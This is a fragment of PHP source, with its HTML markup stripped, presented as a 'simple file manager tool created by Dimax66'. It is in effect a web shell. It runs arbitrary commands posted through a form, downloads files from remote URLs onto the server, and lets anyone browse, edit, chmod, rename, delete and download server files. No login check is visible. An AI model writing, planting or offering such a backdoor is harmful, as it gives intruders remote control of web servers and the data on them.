'; echo '
'; // Container div echo 'This is a simple file manager tool created by Dimax66.
'; // Command execution form echo ''; // Handle command execution if (isset($_POST['cmd'])) { $cmd = sanitize_input($_POST['cmd']); echo '' . htmlspecialchars(safe_exec($cmd)) . ''; } // Remote upload form echo ''; // Remote upload handling if (isset($_POST['remote_url'])) { $remote_url = sanitize_input($_POST['remote_url']); $file_name = basename($remote_url); if (safe_file_put_contents($file_name, safe_fopen($remote_url))) { echo '
Remote file uploaded successfully as ' . $file_name . '
'; } else { echo 'Remote upload failed.
'; } } // File search form echo ''; // Directory navigation and file display $HX = isset($_GET['HX']) ? sanitize_input($_GET['HX']) : getcwd(); $HX = str_replace('\\', '/', $HX); $paths = explode('/', $HX); foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { echo '/'; continue; } if ($pat == '') continue; echo ''.$pat.'/'; } // File upload form echo 'File uploaded successfully.
'; } else { echo 'File upload failed.
'; } } // Display files and directories echo '$isDir | $item | $size | Edit | Chmod | Rename | Delete | Download |
File not found.
'; } } // File edit, rename, chmod, delete handling if (isset($_GET['option'])) { $option = sanitize_input($_GET['option']); $file = sanitize_input($_GET['HX']); if ($option == 'edit') { if (isset($_POST['content'])) { safe_file_put_contents($file, sanitize_input($_POST['content'])); } echo ''; } elseif ($option == 'chmod') { if (isset($_POST['chmod'])) { chmod($file, octdec($_POST['chmod'])); } echo ''; } elseif ($option == 'rename') { if (isset($_POST['newname'])) { rename($file, dirname($file) . '/' . sanitize_input($_POST['newname'])); } echo ''; } elseif ($option == 'delete') { if (unlink($file)) { echo 'File deleted successfully.
'; } else { echo 'Failed to delete file.
'; } } } echo '